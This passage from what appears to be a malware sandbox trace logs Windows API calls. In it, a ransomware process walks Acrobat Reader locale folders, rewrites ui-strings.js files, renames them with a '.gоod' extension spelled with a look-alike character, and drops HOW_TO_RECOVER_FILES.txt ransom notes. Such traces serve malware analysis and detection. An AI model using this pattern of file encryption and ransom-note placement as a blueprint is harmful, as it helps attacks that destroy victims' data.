lpOldMode=0x203eb490) returned 1 [0222.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0222.200] GetFileType (hFile=0x834) returned 0x1 [0222.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0222.200] GetFileType (hFile=0x834) returned 0x1 [0222.201] WriteFile (in: hFile=0x834, lpBuffer=0x3824c28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3824c28*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0222.202] CloseHandle (hObject=0x834) returned 1 [0222.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0222.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl", lpFilePart=0x0) returned 0x77 [0222.202] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0222.202] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.203] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.203] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0222.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0222.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0222.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0222.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl", lpFilePart=0x0) returned 0x77 [0222.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0222.203] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.203] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.203] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0222.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0222.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0222.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0222.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0222.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0222.325] GetFileType (hFile=0x834) returned 0x1 [0222.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0222.325] GetFileType (hFile=0x834) returned 0x1 [0222.326] WriteFile (in: hFile=0x834, lpBuffer=0x34a6e90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x34a6e90*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0222.327] CloseHandle (hObject=0x834) returned 1 [0222.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0222.327] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se", lpFilePart=0x0) returned 0x77 [0222.327] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0222.327] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.328] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0222.328] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.328] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0222.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0222.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0222.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0222.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se", lpFilePart=0x0) returned 0x77 [0222.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0222.328] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.328] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0222.329] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0222.329] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0222.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0222.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0222.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0222.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34b6d68 | out: lpFileInformation=0x34b6d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9)) returned 1 [0222.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0222.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0222.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0222.330] GetFileType (hFile=0x834) returned 0x1 [0222.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0222.330] GetFileType (hFile=0x834) returned 0x1 [0222.330] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6f9 [0222.330] ReadFile (in: hFile=0x834, lpBuffer=0x34b7810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x34b7810*, lpNumberOfBytesRead=0x203eb258*=0x6f9, lpOverlapped=0x0) returned 1 [0222.331] CloseHandle (hObject=0x834) returned 1 [0222.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0222.358] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0222.360] GetFileType (hFile=0x834) returned 0x1 [0222.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0222.360] GetFileType (hFile=0x834) returned 0x1 [0222.360] WriteFile (in: hFile=0x834, lpBuffer=0x3531240*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3531240*, lpNumberOfBytesWritten=0x203eb168*=0x700, lpOverlapped=0x0) returned 1 [0222.360] CloseHandle (hObject=0x834) returned 1 [0222.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0222.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0222.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0222.361] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x80c034bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x700)) returned 1 [0222.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0222.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js.gоod")) returned 1 [0222.362] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0222.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0222.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0222.363] GetFileType (hFile=0x834) returned 0x1 [0222.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0222.363] GetFileType (hFile=0x834) returned 0x1 [0222.363] WriteFile (in: hFile=0x834, lpBuffer=0x3534b50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3534b50*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0222.364] CloseHandle (hObject=0x834) returned 1 [0222.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0222.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr", lpFilePart=0x0) returned 0x77 [0222.365] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0222.365] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.365] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0222.365] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.365] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0222.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0222.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0222.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0222.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr", lpFilePart=0x0) returned 0x77 [0222.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 